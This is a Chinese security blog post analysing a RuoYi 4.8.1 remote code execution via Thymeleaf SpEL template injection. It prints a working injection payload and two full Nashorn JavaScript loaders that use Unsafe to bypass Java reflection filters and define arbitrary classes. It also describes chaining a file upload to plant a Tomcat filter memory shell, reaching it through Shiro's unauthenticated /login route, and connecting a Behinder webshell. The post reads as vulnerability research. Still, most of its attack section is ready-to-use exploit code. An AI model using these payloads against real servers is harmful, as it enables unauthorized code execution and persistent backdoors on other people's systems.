ruoyi4.8.1 未授权rce的内存马注入分析

发布于 1 天前  119 次阅读


ruoyi4.8.1 未授权rce的内存马注入分析

环境搭建:https://github.com/yangzongzhuan/RuoYi/releases/tag/v4.8.1
下载最新版release后,修改application.yml的数据库配置,mysql运行sql/ruoyi_20250416.sql,启动jar包即可

漏洞点在monitor/cache/*
image_mak
这里很明显存在spEL模板注入
不过cms使用的Thymelea版本为3.0.15,需要进行一些绕过,可以看http://www.bmth666.cn/2025/11/26/%E8%8B%A5%E4%BE%9DRuoYi-4-8-1-%E5%90%8E%E5%8F%B0RCE/
登陆后,路由/monitor/cache/getNames
注入payload为

fragment=__|$${new.javax.script.ScriptEngineManager().getEngineByName("js").eval(new.org.apache.shiro.codec.Base64().decodeToString("a..."))}|__

可以执行任意的js,利用以下payload加载字节码:

try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}
function getUnsafe(){
  var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
  theUnsafeMethod.setAccessible(true); 
  return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
  var unsafe = getUnsafe();
  var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
  var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
  unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
  var reflectionClass;
  try {
    reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
  } catch (error) {
    reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
  }
  var unsafe = getUnsafe();
  var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
  var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
  var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
  var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
  if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
  }
  if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
  }
  removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
    var unsafe = getUnsafe();
    var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
    var offset = unsafe.objectFieldOffset(overrideField);
    unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
  var classBytes = "yv66vgAAA......";
  var bytes = java.util.Base64.getDecoder().decode(classBytes);
  var clz = null;
  var version = java.lang.System.getProperty("java.version");
  var unsafe = getUnsafe();
  var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
  try{
    if (version.split(".")[0] >= 11) {
      bypassReflectionFilter();
      defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
      setAccessible(defineClassMethod); 
      clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
    }else{
      var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
      clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
    }
  }catch(error){
    error.printStackTrace();
  }finally{
    return clz.newInstance();
  }
}
defineClass();

原作者使用的似乎是一次性回显马
image_mak
这里尝试了直接打tomcat filter内存马,发现报了错

image_mak
paylaod填了内存马后,后端报错也捕捉不到了:
image_mak
image_mak
后来尝试了
image_mak
这里我在最前面写了一个弹计算器,这一句也没有执行,那么就应该是编译有问题
后来测出来是js字符串的长度太长了,导致的编译失败,整段代码都没执行,具体原因需要debug一下,这里就直接寻找绕过方式了

发现/common/upload存在回显相对路径的任意文件上传

image_mak
而限制我们打内存马的原因就是内存马的classbytes太大了,我们可以直接利用这个文件上传上传我们的内存马payload,然后spEL处读取它并加载即可
上传一个tomcat filter型内存马
image_mak
可以在application.yml看到默认上传路径,我这里改了一下
image_mak
然后再利用ssti去加载我们的bytes就可以:

try {
  java.lang.Runtime.getRuntime().exec("calc");
  load("nashorn:mozilla_compat.js");
} catch (e) {
  e.printStackTrace();
}
function getUnsafe(){
  var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
  theUnsafeMethod.setAccessible(true);
  return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
  var unsafe = getUnsafe();
  var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
  var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
  unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
  var reflectionClass;
  try {
    reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
  } catch (error) {
    reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
  }
  var unsafe = getUnsafe();
  var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
  var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
  var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
  var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
  if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
  }
  if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
  }
  removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
    var unsafe = getUnsafe();
    var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
    var offset = unsafe.objectFieldOffset(overrideField);
    unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
  var Paths = java.nio.file.Paths;
  var Files = java.nio.file.Files;
  var StandardCharsets = java.nio.charset.StandardCharsets;
  var path = Paths.get("D:/poc复现/ruoyi_4.8.1/RuoYi-v4.8.1/RuoYi-v4.8.1/uploads/upload/2025/12/08/memshell_20251208194604A002.txt"); 
  var classBytes = new java.lang.String(Files.readAllBytes(path), StandardCharsets.UTF_8);
  var bytes = java.util.Base64.getDecoder().decode(classBytes);
  var clz = null;
  var version = java.lang.System.getProperty("java.version");
  var unsafe = getUnsafe();
  var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
  try{
    if (version.split(".")[0] >= 11) {
      bypassReflectionFilter();
      defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
      setAccessible(defineClassMethod);
      clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
    }else{
      var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
      clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
    }
  }catch(error){
    error.printStackTrace();
  }finally{
    return clz.newInstance();
  }
}
try{
defineClass();
}catch(e){
e.printStackTrace();
}

image_mak
成功了,但是shiro的filter优先级比我们的内存马高,因此未登录状态下需要访问/login这种无鉴权的路由访问
image_mak

尝试打冰蝎内存马
image_mak
成功连接
image_mak

之前引用文章的作者结合了JNI来利用文件上传也是很好的思路,已学习:)

A web ctfer from 0RAYS
最后更新于 2025-12-08